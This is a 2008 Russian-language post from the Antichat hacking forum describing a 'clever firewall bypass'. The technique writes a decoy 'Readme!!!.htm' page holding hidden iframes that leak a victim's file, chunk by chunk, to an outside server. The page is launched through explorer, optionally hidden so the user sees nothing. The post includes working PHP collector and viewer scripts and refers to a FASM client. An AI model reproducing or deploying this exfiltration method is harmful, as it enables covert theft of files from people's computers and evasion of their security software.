Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

20.04.2008, 22:11
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме: 3008839
Репутация:
1502
|
|
Хитрый обход файрволов
I. Вводная часть
Думаю, не имеет смысла говорить, зачем нужно обходить файрволы. В этой небольшой статье я покажу довольно необычный, по моему мнению, достаточно изящный способ их обхода. Заранее предупреждаю – всё нижеизложенное является моими собственными наработками, и их аналогов я не нашёл. Так что, если это уже где-то встречалось, не надо меня ругать… 
Заранее скажу о минусе данного метода – он годится только для обхода ограничений, связанных с сетевой активностью, так как используется создание процесса, что будет замечено Outpost’ом при настройках уровня локальной безопасности выше «оптимального», но по умолчанию стоит как раз «оптимальный», так что, скорее всего, это прокатит (про KIS не знаю – не проверял, но, вероятнее всего, там то же самое).
II. Идея
Идея проста до гениальности – так как в системе существует множество программ с разрешённым сетевым доступом, то можно воспользоваться их помощью. Итак, что я хочу реализовать конкретно: запускаем интернет-обозреватель на открытие некоторого адреса, тем самым отправив некоторые данные.
III. Реализация
А тут уже будет некоторая хитрость  … Итак, допустим нам надо узнать содержимое файла “C:\boot.ini” на целевой машине. Для этого поступим так:
1) Разбиваем файл на блоки некоторого размера (т.к. передавать будем их GET-запросом)
2) Записываем файл типа “Readme!!!.htm” примерно такого содержания:
PHP код:
<html>тра-та-та и прочая шапка<body>тра-та-та, спасибо за установку великого программного продукта и т.п.
<iframe width=”0” height=”0” style=”visibility: hidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш первый блок данных}&pt={номер части(0)}&num={количество частей}></iframe>
<iframe width=”0” height=”0” style=”visibility: hidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш второй блок данных}&pt={номер части(1)}&num={количество частей}></iframe>
….
<iframe width=”0” height=”0” style=”visibility: hidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш последний блок данных}&pt={номер части(n)}&num={количество частей}></iframe>
</body></html>
3) Запускаем файл (“explorer.exe Readme!!!.htm”). Тут 2 варианта: либо запускаем в видимом режиме, тогда вылезает эксплорер с нашим красивым уведомлением о верности выбора человека, установившего программу. Это способ для тех, кто боится, что пользователь может оказаться испуганным сообщением о попытке создания процесса, если у него стоит высокий уровень локальной безопасности, но увидев имя Readme!!!.htm согласится на такой поступок. Тут ещё лучше даже заодно засунуть что-нибудь в статус-бар, чтобы не было видно обращений к странному серверу. А второй вариант – в надежде на настройки фаера у пользователя «по умолчанию», то есть игнорирование запуска процессов, можно открыть эксплорер с параметром SW_HIDE, чтобы пользователь ничего не заметил вообще.
На этом идея реализации кончается.
IV. Файлы для статьи.
Тут реализован данный механизм с нормальным (SW_SHOW) открытием обозревателя (на сервере в папке с gate.php и view.php должны существовать подкталоги fin и tmp).
gate.php:
PHP код:
<?php
$id = $_GET['rnd'];
$ip = $_SERVER['REMOTE_ADDR'];
$ip[strlen($ip) - 1] = "x";
$ip[strlen($ip) - 2] = "x";
$ip[strlen($ip) - 3] = "x";
$n = $_GET['num'];
$pn = $_GET['pt'];
$text = $_GET['tx'];
((strstr($id, "/") === FALSE) && (strstr($n, "/") === FALSE)) or die('Fik!');
$handle = fopen("tmp/{$id}_{$n}", 'w');
fwrite($handle, $text);
fclose($handle);
//file_put_contents();
$i = 0;
while (file_exists("tmp/{$id}_{$i}"))
$i++;
if (--$i != $pn)
die();
$s="";
for ($i=0; $i<=$pn; $i++)
{
$s .= file_get_contents("tmp/{$id}_{$i}");
unlink("tmp/{$id}_{$i}");
}
$handle = fopen("fin/{$ip}_{$id}", 'w');
fwrite($handle, $s);
fclose($handle);
?>
view.php:
PHP код:
<?php
if (isset($_GET['del']) && (strstr($_GET['del'], "/") === FALSE))
unlink("./fin/".$_GET['del']);
if ($handle = opendir('./fin')) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
echo "<a href='fin/$file'>$file</a> <a href=\"?del={$file}\">del</a><br>\r\n";
}
}
closedir($handle);
}?>
Сорцы «клиента» (чистый FASM, а вернее чисто фасмовский RadAsm-проект; в сорцах надо поменять некоторые переменные)
Реализация гейта вот этого откомпиленного клиента (грузит ваш файл boot.ini, вы можете его с серва удалить)
V. Заключение
Вот так вот  . Через некоторое время планируется продолжение, описывающее процесс не только загрузки информации на серв, но и с него.
Ну что, как говорится, re всем
©73ru5 aka desTiny, 2008.
//add
Продолжение тут
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
Последний раз редактировалось desTiny; 26.04.2008 в 13:14..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|